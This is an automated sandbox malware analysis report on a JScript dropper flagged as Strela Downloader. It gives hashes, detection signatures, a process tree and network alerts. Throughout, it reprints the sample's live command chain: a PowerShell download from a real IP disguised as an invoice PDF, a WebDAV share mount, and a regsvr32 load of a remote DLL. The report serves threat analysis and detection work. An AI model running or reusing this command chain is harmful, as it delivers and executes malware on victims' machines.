Edit tour

Windows Analysis Report
1936930021252095876.js

Overview

General Information

Sample name:	1936930021252095876.js
Analysis ID:	1587698
MD5:	94e7a911bdbd1a310468e99b39fed37a
SHA1:	bddc751c6c3e2219634260cdb6dedff74d2b4fec
SHA256:	14d1c3f58be9a410ccb95fb562bdc0af7347bbe5924a069e1a6dc0d9fe1330c6
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1292 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2720 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6588 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3848 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7156 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4676 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1636,i,6290968276364206854,1399716073142869749,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1496 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5480 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5668 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1292	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2720, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6588, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2720, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6588, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js", ProcessId: 1292, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5480, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1292, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ProcessId: 2720, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1292, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ProcessId: 2720, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1292, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ProcessId: 2720, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1292, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ProcessId: 2720, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1292, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ProcessId: 2720, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js", ProcessId: 1292, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2720, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6588, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1496, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5480, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5668, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1496, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5480, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1936930021252095876.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1292, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll, ProcessId: 2720, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:07:17.905444+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:07:15.364778+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1936930021252095876.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1936930021252095876.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:07:15 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

